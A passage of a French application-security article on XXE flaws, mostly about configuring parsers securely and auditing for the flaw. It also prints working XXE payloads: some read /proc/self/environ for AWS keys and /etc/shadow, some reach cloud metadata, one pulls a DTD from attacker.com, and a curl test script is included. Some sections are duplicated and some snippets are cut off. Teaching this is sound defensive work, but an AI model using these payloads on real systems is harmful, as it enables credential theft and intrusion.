# (vulnérable au Billion Laughs en Python < 3.7.1)
# Python - xmltodict (souvent utilisé dans les APIs Flask/Django)
import xmltodict
import defusedxml.expatreader
# xmltodict utilise expat par défaut — pas vulnérable aux entités
# SYSTÈME mais vulnérable au Billion Laughs
# Préférer defusedxml
Go
// Go - encoding/xml
// Le parser XML standard de Go ne supporte PAS les entités externes
// Il est sûr par défaut contre le XXE classique
import "encoding/xml"
type User struct {
XMLName xml.Name `xml:"user"`
Name string `xml:"name"`
}
var user User
err := xml.Unmarshal(data, &user)
// Sûr : les entités SYSTEM ne sont pas résolues
// ATTENTION : les bibliothèques tierces (libxml2 bindings) peuvent
// réintroduire la vulnérabilité
// Exemple : goxml (CGo binding pour libxml2) nécessite une configuration
// explicite pour désactiver les entités externes
.NET / C#
// C# - XmlDocument (.NET Framework 4.5.2+)
// Sûr par défaut depuis .NET 4.5.2
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // Explicite : désactiver la résolution externe
doc.LoadXml(xmlString);
// C# - XmlReader (recommandé)
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // Interdit les DTD
settings.XmlResolver = null;
settings.MaxCharactersFromEntities = 1024; // Protection Billion Laughs
using (XmlReader reader = XmlReader.Create(stream, settings))
{
while (reader.Read()) { /* ... */ }
}
// C# - LINQ to XML (XDocument)
// Sûr par défaut, mais vérifier qu'aucun XmlResolver n'est configuré
XDocument doc = XDocument.Parse(xmlString);
// ATTENTION : XmlTextReader (obsolète) est VULNÉRABLE par défaut
// Ne jamais utiliser XmlTextReader en .NET Framework < 4.5.2
Node.js
// Node.js - libxmljs2 (C binding)
const libxmljs = require('libxmljs2');
// Configuration sécurisée
const doc = libxmljs.parseXml(xmlString, {
noent: false, // Ne pas résoudre les entités
nonet: true, // Pas d'accès réseau
nocdata: true,
dtdload: false, // Ne pas charger les DTD
dtdattr: false,
dtdvalid: false,
});
// Node.js - fast-xml-parser (pur JavaScript)
const { XMLParser } = require('fast-xml-parser');
// fast-xml-parser ne supporte pas les entités externes → sûr par défaut
const parser = new XMLParser({
processEntities: false, // Désactiver les entités
});
// Node.js - xml2js (pur JavaScript)
const xml2js = require('xml2js');
// xml2js ne supporte pas les entités externes → sûr par défaut
// Mais vérifier que doctype n'est pas traité
| Langage/Parser | Vulnérable par défaut | Correction |
|---|---|---|
| Java (DOM, SAX, StAX) | Oui | setFeature("disallow-doctype-decl", true) |
| PHP (libxml < 8.0) | Oui | libxml_disable_entity_loader(true) |
| PHP (libxml >= 8.0) | Non | Sûr par défaut (ne pas utiliser LIBXML_NOENT) |
| Python (lxml) | Oui | XMLParser(resolve_entities=False, no_network=True) |
| Python (defusedxml) | Non | Sûr par défaut |
| Go (encoding/xml) | Non | Sûr par défaut |
| .NET (>= 4.5.2) | Non | XmlResolver = null (explicite recommandé) |
| .NET (< 4.5.2) | Oui | Mise à jour + XmlResolver = null |
| Ruby (REXML) | Oui (< 3.2) | REXML::Security.entity_expansion_limit = 0 |
| Node.js (libxmljs) | Oui | {noent: false, nonet: true, dtdload: false} |
Point essentiel : La protection contre le XXE est un problème de configuration, pas de code. Chaque parser XML a un paramètre pour désactiver les entités externes — il suffit de l'activer. Mais la difficulté réside dans l'exhaustivité : une application peut utiliser plusieurs parsers XML (un pour les requêtes API, un pour le traitement de documents, un pour les fichiers de configuration), et chacun doit être configuré indépendamment. L'audit doit identifier tous les points d'entrée XML et vérifier la configuration de chaque parser.
Validation et Sanitization de l'Input XML
Au-delà de la configuration du parser, des mesures de validation complémentaires renforcent la défense :
// Validation de l'input XML avant parsing (Go)
func validateXMLInput(data []byte) error {
// 1. Rejeter les documents contenant un DOCTYPE
if bytes.Contains(data, []byte(" maxSize {
return fmt.Errorf("document XML trop volumineux : %d octets", len(data))
}
// 3. Limiter la profondeur d'imbrication
decoder := xml.NewDecoder(bytes.NewReader(data))
depth := 0
maxDepth := 50
for {
token, err := decoder.Token()
if err != nil {
break
}
switch token.(type) {
case xml.StartElement:
depth++
if depth > maxDepth {
return fmt.Errorf("profondeur XML excessive : %d", depth)
}
case xml.EndElement:
depth--
}
}
return nil
}
# Validation XML avec un WAF (règles ModSecurity)
# Bloquer les requêtes contenant des patterns XXE
SecRule REQUEST_BODY "
Stratégie d'Audit XXE : Méthodologie Complète
L'audit systématique des vulnérabilités XXE suit une méthodologie en quatre phases.
Phase 1 : Inventaire des points d'entrée XML. Identifier tous les endpoints qui acceptent du XML : APIs SOAP, endpoints REST avec Content-Type XML, formulaires d'upload de fichiers (SVG, DOCX, XLSX, RSS, SAML), imports de configuration. Ne pas oublier les endpoints REST JSON — tester le changement de Content-Type vers application/xml.
Phase 2 : Test de base. Pour chaque point d'entrée, injecter un document XML avec une entité externe SYSTEM "http://interact.sh-id/". Si un callback HTTP arrive, le XXE est confirmé. Tester ensuite file:///etc/hostname pour vérifier la lecture de fichiers.
Phase 3 : Exploitation approfondie. Si le XXE est confirmé, tester : lecture de fichiers sensibles (credentials, clés SSH, tokens), SSRF vers les métadonnées cloud (169.254.169.254), SSRF vers les services internes (port scanning), XXE aveugle via OOB si la réponse n'est pas visible, error-based XXE si l'OOB est bloqué.
Phase 4 : Évaluation du parser. Identifier le parser XML utilisé et sa version. Vérifier la configuration de sécurité (DTD désactivé ? entités externes désactivées ?). Vérifier les protections Billion Laughs (limite d'expansion d'entités). Documenter la configuration recommandée avec les extraits de code spécifiques au parser.
# Script de test XXE rapide (bash + curl)
#!/bin/bash
TARGET="http://target.com/api/endpoint"
CALLBACK="abc123.oast.fun"
# Test 1 : XXE basique avec callback
echo '[*] Test XXE basique...'
curl -s -X POST "$TARGET" \
-H "Content-Type: application/xml" \
-d ']>&xxe; '
# Test 2 : Changement de Content-Type (JSON → XML)
echo '[*] Test Content-Type switch...'
curl -s -X POST "$TARGET" \
-H "Content-Type: application/xml" \
-d ']>&xxe; '
# Test 3 : XXE via paramètre entité (blind)
echo '[*] Test blind XXE...'
curl -s -X POST "$TARGET" \
-H "Content-Type: application/xml" \
-d '%xxe;]>test '
# Test 4 : XXE via SVG upload
echo '[*] Test XXE via SVG...'
cat > /tmp/xxe-test.svg << 'SVGEOF'
]>
SVGEOF
sed -i "s/CALLBACK/$CALLBACK/g" /tmp/xxe-test.svg
curl -s -X POST "$TARGET/upload" \
-F "file=@/tmp/xxe-test.svg;type=image/svg+xml"
echo '[*] Vérifier les callbacks sur interact.sh...'
FAQ
Le XXE est-il toujours pertinent en 2026 avec la prédominance du JSON ?
Absolument. Même si la plupart des APIs modernes utilisent JSON, le XML reste omniprésent dans les couches sous-jacentes. Les documents Office (DOCX, XLSX, PPTX) sont du XML. Les fichiers SVG sont du XML. SAML pour l'authentification SSO utilise du XML. Les APIs B2B dans les secteurs bancaire, santé et gouvernemental utilisent souvent SOAP (XML). Les fichiers de configuration (Maven pom.xml, Spring beans.xml, .NET web.config) sont du XML. Les flux RSS/Atom sont du XML. De plus, comme mentionné dans la section sur les APIs REST, de nombreux frameworks acceptent le XML en plus du JSON basé sur le Content-Type, même si les développeurs ne le savent pas. Nous trouvons des XXE exploitables dans environ 30% de nos audits d'applications d'entreprise.
Comment savoir si mon parser XML est vulnérable sans le tester en production ?
Trois approches complémentaires. Premièrement, vérifiez la configuration du parser dans le code source — cherchez les appels à la création de parsers XML et vérifiez que les features de sécurité sont activées. Les outils SAST comme Semgrep ont des règles spécifiques pour détecter les parsers XML mal configurés. Deuxièmement, écrivez un test unitaire qui tente de parser un document XML avec une entité externe et vérifie que l'entité n'est PAS résolue. Troisièmement, consultez la documentation de votre parser pour connaître le comportement par défaut — certains parsers sont sûrs par défaut (Go encoding/xml, .NET >= 4.5.2), d'autres non (Java DOM/SAX, PHP libxml avant 8.0).
Quelle est la différence entre désactiver les DTD et désactiver les entités externes ?
Désactiver les DTD (disallow-doctype-decl) est la protection la plus stricte : le parser rejette tout document contenant un DOCTYPE, ce qui bloque toutes les formes de XXE, y compris le Billion Laughs. Désactiver les entités externes (external-general-entities, external-parameter-entities) est moins strict : le parser accepte les DTD internes (entités définies dans le document) mais refuse de charger des ressources externes. Cette approche bloque le XXE classique (file://, http://) mais reste vulnérable au Billion Laughs avec des entités internes. La recommandation : désactiver les DTD sauf si l'application a un besoin légitime de les utiliser (validation de schéma XML par exemple). Dans ce cas, désactiver les entités externes et configurer une limite d'expansion d'entités pour se protéger du Billion Laughs.
Les WAF protègent-ils efficacement contre le XXE ?
Les WAF fournissent une couche de défense utile mais insuffisante. Les règles WAF standard (ModSecurity CRS, AWS WAF managed rules) détectent les patterns XXE basiques (DOCTYPE, ENTITY, SYSTEM), mais les techniques d'évasion sont nombreuses : encodage du XML en UTF-16, insertion de commentaires XML entre les mots-clés, utilisation d'entités paramètres, injection dans des fichiers uploadés (SVG, DOCX) qui ne sont pas inspectés par le WAF. De plus, le WAF ne protège pas contre les XXE provenant de sources internes (fichiers traités par des jobs batch, messages de queue). La configuration sécurisée du parser XML reste la protection principale.
Comment exploiter un XXE si le fichier cible contient des caractères XML spéciaux ?
Si le fichier contient des caractères comme <, >, &, le parsing échoue car ces caractères sont interprétés comme de la syntaxe XML. Trois techniques de contournement existent. Le wrapper PHP php://filter/convert.base64-encode/resource= encode le contenu en base64 avant de l'injecter — les caractères spéciaux disparaissent. Le wrapping CDATA utilise un DTD externe qui entoure le contenu de <![CDATA[...]]>. Enfin, le protocole jar:// en Java permet de lire le contenu de fichiers ZIP, évitant le problème des caractères spéciaux. La technique base64 (PHP) est la plus fiable quand elle est disponible.
Un XXE dans un fichier SVG uploadé est-il exploitable si le SVG est servi statiquement ?
Si le fichier SVG est simplement stocké et servi tel quel (en tant que fichier statique), le XXE n'est pas exploitable car aucun parser XML serveur ne traite le fichier. Cependant, le SVG est exploitable si l'application effectue un traitement côté serveur : redimensionnement de l'image (ImageMagick, Sharp, Pillow), conversion en PNG/JPEG, extraction de métadonnées, sanitization HTML, ou validation du format. Chaque traitement qui implique un parsing XML du SVG est un vecteur XXE potentiel. De plus, même sans traitement serveur, un SVG malveillant servi à un navigateur peut contenir du JavaScript (XSS via SVG) — c'est une vulnérabilité différente mais tout aussi importante.
Comment détecter les XXE en boîte noire (sans accès au code source) ?
Utilisez un serveur de callback (Burp Collaborator, interact.sh) et testez systématiquement chaque point d'entrée. Pour les APIs : injectez un DOCTYPE avec une entité SYSTEM pointant vers votre callback dans chaque paramètre XML. Testez le changement de Content-Type (JSON vers XML). Pour les uploads : créez des fichiers SVG, DOCX, XLSX malveillants avec des entités SYSTEM pointant vers votre callback. Pour les imports : testez les fonctionnalités d'import RSS, SAML, configuration XML. Mesurez les temps de réponse pour détecter les blind XXE (un fichier SYSTEM file:///dev/random provoque un hang). Vérifiez si les messages d'erreur contiennent des informations utiles (error-based XXE). L'absence de callback ne signifie pas l'absence de vulnérabilité — testez les techniques error-based et timing.
Le XXE est-il possible dans les bases de données XML (Oracle XMLDB, PostgreSQL xml) ?
Oui. Les bases de données qui supportent le type XML et les fonctions de parsing XML sont potentiellement vulnérables. PostgreSQL avec la fonction XMLPARSE ou xml_parse peut résoudre les entités externes si la configuration libxml le permet. Oracle XMLDB a historiquement été vulnérable aux XXE via les fonctions XMLType et XMLROOT. L'injection SQL combinée avec le XXE base de données est une chaîne d'exploitation rare mais documentée : si un attaquant peut injecter du SQL et que le résultat est traité comme XML par la base de données, le XXE est possible même sans accès direct au parser XML applicatif. La vérification de la configuration XML des bases de données fait partie d'un audit complet.
Conclusion Opérationnelle
Le XXE est une vulnérabilité qui illustre parfaitement le décalage entre la théorie et la pratique de la sécurité applicative. En théorie, la correction est triviale : un paramètre de configuration suffit. En pratique, la multiplicité des parsers XML, des points d'entrée (APIs, uploads, imports, configurations), et des langages de programmation rend la protection exhaustive difficile. L'audit XXE exige une approche systématique : inventorier tous les points d'entrée XML (y compris les formats dérivés comme SVG, DOCX, SAML), tester chaque point avec des payloads adaptés (basique, blind OOB, error-based), et vérifier la configuration de chaque parser utilisé par l'application. La recommandation fondamentale reste simple : si votre application traite du XML provenant de sources non fiables, désactivez les DTD dans la configuration du parser. Si les DTD sont nécessaires, désactivez les entités externes et paramètres, et configurez une limite d'expansion d'entités. Et n'oubliez pas de tester les endpoints REST avec un Content-Type XML — vous pourriez découvrir un parser XML dont personne ne connaissait l'existence.
Le XXE partage des techniques d'exploitation avec le SSRF (accès aux métadonnées cloud, interaction avec des services internes). Une fois l'accès initial obtenu via XXE, les techniques de privilege escalation Linux ou privilege escalation Windows permettent d'étendre la compromission. Pour la détection proactive des XXE dans le code source, l'intégration d'outils SAST dans le pipeline CI/CD est la mesure préventive la plus efficace.
XXE dans les Environnements Cloud et Microservices
Les architectures modernes basées sur les microservices et le cloud introduisent de nouveaux contextes d'exploitation XXE. Les parsers XML sont omniprésents dans les APIs de communication inter-services, les systèmes de message queuing, les pipelines de traitement de données, et les services d'intégration.
XXE dans AWS Lambda et Cloud Functions
Les fonctions serverless qui traitent du XML (parseurs de flux RSS, processeurs de webhooks SOAP, convertisseurs de documents) sont vulnérables au XXE avec des spécificités liées à leur environnement. Les credentials AWS sont exposés via les variables d'environnement plutôt que via l'IMDS :
<!-- XXE dans une Lambda : accès aux credentials via /proc/self/environ -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///proc/self/environ">
]>
<data>&xxe;</data>
<!-- Le fichier /proc/self/environ contient (format NUL-separated) :
AWS_ACCESS_KEY_ID=ASIA...
AWS_SECRET_ACCESS_KEY=...
AWS_SESSION_TOKEN=...
AWS_LAMBDA_FUNCTION_NAME=...
AWS_REGION=eu-west-1
_HANDLER=index.handler
-->
<!-- Alternative : fichier de credentials Lambda spécifique -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/runtime/aws-credentials">
]>
<data>&xxe;</data>
<!-- Fichier de configuration Lambda -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/task/serverless.yml">
]>
<data>&xxe;</data>
La protection dans les environnements serverless repose sur le même principe que pour les applications traditionnelles : désactiver les DTD dans le parser XML. Cependant, les frameworks serverless utilisent souvent des bibliothèques tierces qui parsent le XML sans que le développeur en ait conscience — un middleware de parsing de requêtes SOAP, un processeur de messages SNS en format XML, ou un parser de réponses d'API tierces.
XXE dans les Pipelines de Données
Les pipelines de données (ETL, data engineering) traitent souvent des fichiers XML en batch. Un attaquant qui peut injecter un fichier XML malveillant dans le flux de données (via un upload, un feed RSS, une API d'import) peut exploiter le XXE lors du traitement batch. L'impact est souvent plus élevé car les pipelines de données s'exécutent avec des permissions élevées (accès aux data lakes, bases de données de production, services analytiques) :
# Scénario : un pipeline Apache Spark qui parse des fichiers XML
# Le fichier XML malveillant est déposé dans un bucket S3 (feed partenaire)
# Spark lit le fichier avec scala-xml ou javax.xml → XXE si non configuré
# Configuration sécurisée pour Spark XML parsing
from pyspark.sql import SparkSession
spark = SparkSession.builder \
.config("spark.sql.xml.excludeAttribute", "true") \
.config("spark.driver.extraJavaOptions",
"-Djavax.xml.accessExternalDTD='' -Djavax.xml.accessExternalSchema=''") \
.getOrCreate()
# Ou mieux : parser avec defusedxml avant de passer à Spark
import defusedxml.ElementTree as ET
def safe_parse_xml(xml_string):
"""Parse XML de manière sécurisée avant traitement Spark"""
try:
root = ET.fromstring(xml_string)
return root
except ET.ParseError as e:
# Log et rejeter le fichier malveillant
logger.warning(f"XML parsing failed (potential XXE): {e}")
return None
XXE dans les Message Brokers et Event Systems
Les systèmes de messaging (RabbitMQ, Apache Kafka, AWS SNS/SQS) transportent parfois des messages au format XML. Si le consommateur du message parse le XML sans protection, un producteur malveillant (ou un message injecté via une compromission du broker) peut exploiter un XXE :
<!-- Message SNS/SQS contenant du XML malveillant -->
<!-- Si le consommateur parse le body comme XML : -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE notification [
<!ENTITY xxe SYSTEM "file:///proc/self/environ">
]>
<notification>
<type>order.created</type>
<data>&xxe;</data>
</notification>
<!-- AWS SNS notification format (XML natif) -->
<!-- Les notifications SNS sont en XML par défaut -->
<!-- Un subscriber qui parse ces notifications doit être protégé -->
XXE et Web Services Security (WS-Security, SAML, XACML)
Les protocoles de sécurité d'entreprise sont massivement basés sur XML et constituent des cibles XXE privilégiées car ils sont souvent implémentés par des bibliothèques complexes qui activent les DTD par défaut.
SAML (Security Assertion Markup Language)
SAML est utilisé pour le Single Sign-On (SSO) dans les environnements d'entreprise. Les réponses SAML sont des documents XML signés envoyés par l'Identity Provider (IdP) au Service Provider (SP). Si le SP parse la réponse SAML avant de vérifier la signature, un XXE dans la réponse SAML est exploitable :
<!-- SAML Response malveillante avec XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE samlp:Response [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_response_id"
Version="2.0"
IssueInstant="2026-05-01T12:00:00Z"
Destination="https://sp.example.com/saml/acs">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion Version="2.0" ID="_assertion_id">
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
<saml:Conditions>
<saml:AudienceRestriction>
<saml:Audience>https://sp.example.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
</saml:Assertion>
</samlp:Response>
<!-- Si le SP affiche le NameID dans un message d'erreur ou un profil utilisateur,
le contenu de /etc/passwd est visible -->
<!-- Pour les blind XXE via SAML, utiliser un DTD externe -->
<!DOCTYPE samlp:Response [
<!ENTITY % xxe SYSTEM "http://attacker.com/saml-xxe.dtd">
%xxe;
]>
La vulnérabilité XXE dans SAML a été documentée dans de nombreuses bibliothèques : OneLogin's python-saml (CVE-2017-11427), Duo Network Gateway, et plusieurs implémentations custom. L'audit de la configuration SAML doit vérifier que le parsing XML est sécurisé AVANT la vérification de signature — car si le parser résout les entités pendant le parsing, la signature (qui s'applique au document après résolution) n'empêche pas l'exploitation.
XACML (eXtensible Access Control Markup Language)
XACML est un standard de contrôle d'accès basé sur XML utilisé dans les grandes entreprises pour la gestion centralisée des autorisations. Les requêtes XACML envoyées au Policy Decision Point (PDP) sont du XML :
<!-- Requête XACML avec XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Request [
<!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<Request xmlns="urn:oasis:names:tc:xacml:3.0:core:schema:wd-17">
<Attributes Category="urn:oasis:names:tc:xacml:1.0:subject-category:access-subject">
<Attribute AttributeId="urn:oasis:names:tc:xacml:1.0:subject:subject-id">
<AttributeValue DataType="http://www.w3.org/2001/XMLSchema#string">&xxe;</AttributeValue>
</Attribute>
</Attributes>
</Request>
Automatisation de la Détection XXE dans le Pipeline CI/CD
La détection proactive des vulnérabilités XXE dans le code source est possible via des outils SAST configurés avec des règles spécifiques aux parsers XML :
# Règles Semgrep pour détecter les parsers XML vulnérables
# Java - DocumentBuilderFactory sans protection
rules:
- id: java-xxe-documentbuilder
patterns:
- pattern: |
DocumentBuilderFactory $DBF = DocumentBuilderFactory.newInstance();
...
$DBF.newDocumentBuilder();
- pattern-not: |
$DBF.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
- pattern-not: |
$DBF.setFeature("http://xml.org/sax/features/external-general-entities", false);
message: |
DocumentBuilderFactory utilisé sans désactiver les entités externes.
Ajoutez : dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
languages: [java]
severity: ERROR
metadata:
cwe: CWE-611
owasp: A05:2021
# Python - lxml sans configuration sécurisée
- id: python-xxe-lxml-unsafe
patterns:
- pattern: etree.parse($FILE)
- pattern-not-inside: |
$PARSER = etree.XMLParser(resolve_entities=False, ...)
...
etree.parse($FILE, $PARSER)
message: |
lxml.etree.parse() utilisé sans parser sécurisé.
Utilisez : parser = etree.XMLParser(resolve_entities=False, no_network=True)
languages: [python]
severity: ERROR
metadata:
cwe: CWE-611
# PHP - simplexml_load_string avec LIBXML_NOENT
- id: php-xxe-libxml-noent
pattern: simplexml_load_string($DATA, ..., LIBXML_NOENT, ...)
message: |
LIBXML_NOENT active la substitution d'entités et rend le parser vulnérable au XXE.
Utilisez LIBXML_NONET à la place.
languages: [php]
severity: ERROR
metadata:
cwe: CWE-611
# Node.js - libxmljs sans configuration sécurisée
- id: nodejs-xxe-libxmljs
patterns:
- pattern: libxmljs.parseXml($DATA, {noent: true, ...})
message: |
libxmljs.parseXml avec noent:true résout les entités externes (XXE).
Utilisez {noent: false, nonet: true, dtdload: false}.
languages: [javascript]
severity: ERROR
metadata:
cwe: CWE-611
Ces règles SAST détectent les configurations vulnérables au moment du développement, bien avant que le code n'atteigne la production. L'intégration dans le pipeline CI/CD avec un mode bloquant sur les findings de sévérité ERROR empêche l'introduction de nouvelles vulnérabilités XXE.
Comparaison des Approches de Test XXE : Boîte Blanche vs Boîte Noire
L'efficacité de la détection XXE varie significativement selon l'approche de test :
| Approche | Avantages | Inconvénients | Couverture |
|---|---|---|---|
| SAST (boîte blanche) | Détecte les parsers mal configurés, rapide, exhaustif sur le code | Ne détecte pas les parsers dans les dépendances tierces, faux positifs | 70-80% |
| DAST (boîte noire) | Teste l'application réelle, pas de faux positifs | Ne couvre pas tous les points d'entrée XML, lent | 40-60% |
| Pentest manuel | Créativité, test des vecteurs complexes (SVG, DOCX, SAML) | Coûteux, non reproductible, dépend de l'expertise | 80-95% |
| IAST (instrumentation) | Détecte au runtime, pas de faux positifs, trouve les DTD dans les deps | Overhead de performance, complexité de déploiement | 85-90% |
La combinaison SAST + pentest manuel offre la meilleure couverture. Le SAST identifie les parsers vulnérables dans le code propre, et le pentest teste les vecteurs complexes (upload de fichiers, changement de Content-Type, XXE via SAML/SOAP) que le SAST ne peut pas couvrir.
Remédiation à l'Échelle : Politique Organisationnelle Anti-XXE
Pour les grandes organisations avec de nombreuses applications, la remédiation XXE doit être systématisée au niveau organisationnel :
# Politique anti-XXE pour une organisation
# 1. Standard de codage : bibliothèques XML approuvées par langage
# Java : utiliser JAXB pour la sérialisation/désérialisation (pas de DTD par design)
# ou configurer un XMLInputFactory centralisé dans un module shared
# Python : utiliser defusedxml comme remplacement drop-in de xml.etree
# Node.js : utiliser fast-xml-parser (pas de support entités externes)
# Go : encoding/xml (sûr par défaut)
# PHP : PHP 8.0+ avec LIBXML_NONET (ne jamais utiliser LIBXML_NOENT)
# 2. Bibliothèque wrapper interne (exemple Java)
public class SafeXMLParser {
private static final DocumentBuilderFactory FACTORY;
static {
FACTORY = DocumentBuilderFactory.newInstance();
try {
// Protection contre le XXE
FACTORY.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
FACTORY.setFeature("http://xml.org/sax/features/external-general-entities", false);
FACTORY.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
FACTORY.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
FACTORY.setXIncludeAware(false);
FACTORY.setExpandEntityReferences(false);
// Protection contre le Billion Laughs
FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
throw new RuntimeException("Failed to configure secure XML parser", e);
}
}
public static Document parse(InputStream input) throws Exception {
DocumentBuilder builder = FACTORY.newDocumentBuilder();
builder.setErrorHandler(new StrictErrorHandler()); // Pas de DTD warning silencieux
return builder.parse(input);
}
}
# 3. Règle SonarQube/Semgrep obligatoire en CI
# Toute utilisation directe d'un parser XML (sans le wrapper) est bloquée
# 4. Scan DAST spécifique XXE (templates Nuclei custom)
# Exécuté sur chaque endpoint qui accepte du XML ou des fichiers
Impact Réglementaire du XXE
Le XXE a des implications réglementaires significatives dans plusieurs cadres :
RGPD (Article 32) : Un XXE qui permet de lire des fichiers contenant des données personnelles (base de données, logs, fichiers clients) constitue une violation de données au sens du RGPD. L'obligation de notification à la CNIL dans les 72 heures s'applique si des données personnelles ont été potentiellement accédées. Le manque de protection contre le XXE (configuration par défaut du parser sans sécurisation) peut être considéré comme un manquement à l'obligation de "mesures techniques appropriées" (Article 32(1)).
PCI DSS (Requirement 6) : Le XXE fait partie des vulnérabilités couvertes par le Requirement 6.5.1 (injection flaws) du standard PCI DSS. Une application de paiement vulnérable au XXE échoue à la conformité PCI DSS, ce qui peut entraîner des pénalités financières et la suspension de la capacité de traitement des paiements.
HIPAA (Technical Safeguards) : Dans le secteur de la santé, un XXE qui expose des données médicales (Protected Health Information — PHI) constitue une violation HIPAA avec des amendes pouvant atteindre 1,5 million USD par catégorie de violation et par an.
FAQ (suite)
Le XXE est-il possible dans les bases de données XML (Oracle XMLDB, PostgreSQL xml) ?
Oui. Les bases de données qui supportent le type XML et les fonctions de parsing XML sont potentiellement vulnérables. PostgreSQL avec la fonction XMLPARSE ou xpath() peut résoudre les entités externes si la configuration libxml le permet. Oracle XMLDB a historiquement été vulnérable aux XXE via les fonctions XMLType(), XMLROOT() et XMLTRANSFORM(). L'injection SQL combinée avec le XXE base de données est une chaîne d'exploitation documentée : si un attaquant peut injecter du SQL qui crée un XMLType avec une entité externe, et que le résultat est affiché, le XXE est exploitable même sans accès direct au parser XML applicatif. La vérification de la configuration XML des bases de données (paramètres de résolution d'entités) fait partie d'un audit de sécurité complet.
Comment protéger une API qui DOIT accepter du XML avec des DTD pour des raisons de compatibilité ?
Certaines intégrations B2B (EDI, SOAP legacy, flux bancaires) exigent le support des DTD pour la validation du schéma. Dans ce cas, la stratégie de défense est : désactiver les entités SYSTEM et PUBLIC (pas les DTD internes), configurer une limite stricte d'expansion d'entités (protection Billion Laughs), désactiver l'accès réseau du parser (no_network), et si des DTD externes sont nécessaires, pré-charger les DTD autorisées localement et bloquer toute résolution vers des URLs non prévues. En Java, cela se fait via un EntityResolver personnalisé qui retourne null (ou une erreur) pour toute URI non explicitement allowlistée. En PHP, utilisez LIBXML_NONET pour bloquer l'accès réseau tout en autorisant les DTD internes au document.
Les scanners DAST automatisés détectent-ils toujours les XXE ?
Les scanners DAST (ZAP, Burp) détectent les XXE dans les endpoints qui acceptent explicitement du XML (Content-Type: application/xml). Cependant, ils manquent fréquemment les vecteurs suivants : XXE via changement de Content-Type (tester application/xml sur un endpoint JSON), XXE dans les fichiers uploadés (SVG, DOCX, XLSX), XXE dans les flux SAML, XXE dans les paramètres encodés en base64 ou URL-encoded qui contiennent du XML. Le test manuel est nécessaire pour couvrir ces vecteurs. De plus, les scanners DAST ne testent que les endpoints accessibles — les XXE dans les processeurs de messages internes (queues, batch jobs) ne sont détectables que par analyse du code source (SAST) ou test manuel d'intégration.
Conclusion Opérationnelle
Le XXE est une vulnérabilité qui illustre parfaitement le décalage entre la théorie et la pratique de la sécurité applicative. En théorie, la correction est triviale : un paramètre de configuration suffit pour chaque parser. En pratique, la multiplicité des parsers XML dans une application (un pour les requêtes API, un pour le traitement de documents uploadés, un pour les messages SAML, un dans une dépendance tierce qui parse silencieusement du XML), combinée avec la diversité des langages et des bibliothèques, rend la protection exhaustive un défi organisationnel plus que technique.
L'audit XXE exige une approche systématique en quatre temps : inventorier tous les points d'entrée XML (y compris les formats dérivés comme SVG, DOCX, SAML, et les endpoints REST qui acceptent le XML via Content-Type switching), tester chaque point avec des payloads adaptés au contexte (basique, blind OOB via HTTP/FTP/DNS, error-based, via DTD locaux), vérifier la configuration de chaque parser utilisé par l'application (y compris dans les dépendances transitives), et documenter la remédiation avec des exemples de code spécifiques au stack technologique du client.
La recommandation fondamentale reste simple et universelle : si votre application traite du XML provenant de sources non fiables (ce qui inclut tout input utilisateur, tout fichier uploadé, toute réponse d'API tierce, tout message de queue), désactivez les DTD dans la configuration du parser. Si les DTD sont nécessaires pour des raisons de compatibilité, désactivez les entités externes et paramètres, configurez une limite d'expansion d'entités, et bloquez l'accès réseau du parser. Et n'oubliez jamais de tester vos endpoints REST avec un Content-Type XML — vous pourriez découvrir un parser XML dont personne ne connaissait l'existence dans votre stack.
Le XXE partage des techniques d'exploitation avec le SSRF (accès aux métadonnées cloud, interaction avec des services internes). Une fois l'accès initial obtenu via XXE, les techniques de privilege escalation Linux ou privilege escalation Windows permettent d'étendre la compromission au-delà du système initialement vulnérable. Pour la détection proactive des XXE dans le code source, l'intégration d'outils SAST dans le pipeline CI/CD avec des règles spécifiques aux parsers XML est la mesure préventive la plus efficace et la plus scalable.
Techniques XXE Avancées : Exploitation dans des Contextes Complexes
Au-delà des techniques classiques, plusieurs scénarios d'exploitation avancés méritent une attention particulière lors d'un audit approfondi.
XXE via XInclude
XInclude est un mécanisme standard W3C qui permet d'inclure du contenu externe dans un document XML. Contrairement aux entités externes qui nécessitent un DOCTYPE, XInclude fonctionne avec n'importe quel élément XML. C'est particulièrement utile quand l'application contrôle le DOCTYPE (ou l'interdit) mais que l'attaquant peut injecter du contenu dans le corps du document :
<!-- XInclude ne nécessite pas de DOCTYPE -->
<!-- L'attaquant injecte dans un champ qui sera intégré dans un document XML -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- Exemple pratique : un champ de commentaire dans un flux de données XML -->
<order>
<item>Widget A</item>
<comment xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hostname"/>
</comment>
</order>
<!-- XInclude avec fallback (pour éviter les erreurs si le fichier n'existe pas) -->
<xi:include parse="text" href="file:///etc/shadow">
<xi:fallback>File not accessible</xi:fallback>
</xi:include>
<!-- XInclude avec SSRF -->
<xi:include parse="text" href="http://169.254.169.254/latest/meta-data/"/>
